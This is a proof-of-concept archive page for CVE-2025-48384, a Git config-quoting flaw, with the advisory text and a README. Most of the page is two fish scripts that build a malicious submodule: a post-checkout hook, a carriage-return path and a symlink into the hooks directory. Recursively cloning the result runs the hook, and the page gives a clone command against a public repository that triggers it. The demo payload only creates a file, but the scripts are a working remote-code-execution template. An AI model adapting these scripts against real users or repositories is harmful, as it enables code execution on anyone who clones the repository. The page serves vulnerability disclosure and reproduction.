Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-48384 PoC — Git allows arbitrary code execution through broken config quoting

Source
Associated Vulnerability
Title:Git allows arbitrary code execution through broken config quoting (CVE-2025-48384)
Description:Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full access to internals. When reading a config value, Git strips any trailing carriage return and line feed (CRLF). When writing a config entry, values with a trailing CR are not quoted, causing the CR to be lost when the config is later read. When initializing a submodule, if the submodule path contains a trailing CR, the altered path is read resulting in the submodule being checked out to an incorrect location. If a symlink exists that points the altered path to the submodule hooks directory, and the submodule contains an executable post-checkout hook, the script may be unintentionally executed after checkout. This vulnerability is fixed in v2.43.7, v2.44.4, v2.45.4, v2.46.4, v2.47.3, v2.48.2, v2.49.1, and v2.50.1.
Description
Breaking git with a carriage return and cloning RCE
Readme
# CVE-2025-48384: Breaking git with a carriage return and cloning RCE

Reproduction from <https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384>. All credits to David Leadbeater.

This is a basic reproduction attempt of the vulnerability.

To trigger, do `git clone --recursive https://github.com/acheong08/CVE-2025-48384` on a vulnerable git version and you'll find a `/tmp/fishsucks` file suddenly appearing.

I was able to reproduce on git version 2.50.0.

Below is the script used to test locally.

```fish
#!/usr/bin/fish
git init sub
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook

git init repo
git -C repo -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
rm -rf ./repo ./sub ./bad-clone
```

Modified script for pushing to Github:

```fish
#!/usr/bin/fish
if not test -d sub
    git clone https://github.com/acheong08/totallynotsuspicious.git sub
else
    git -C sub pull
end

echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook; or true
git -C sub push origin HEAD

rm -rf repo
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/acheong08/totallynotsuspicious.git sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
```
File Snapshot

[4.0K] /data/pocs/1290f84ad8a05a2391e6e17acaae206e38b80da7 ├── [2.3K] README.md ├── [ 22] sub -> .git/modules/sub/hooks └── [4.0K] sub\015 1 directory, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →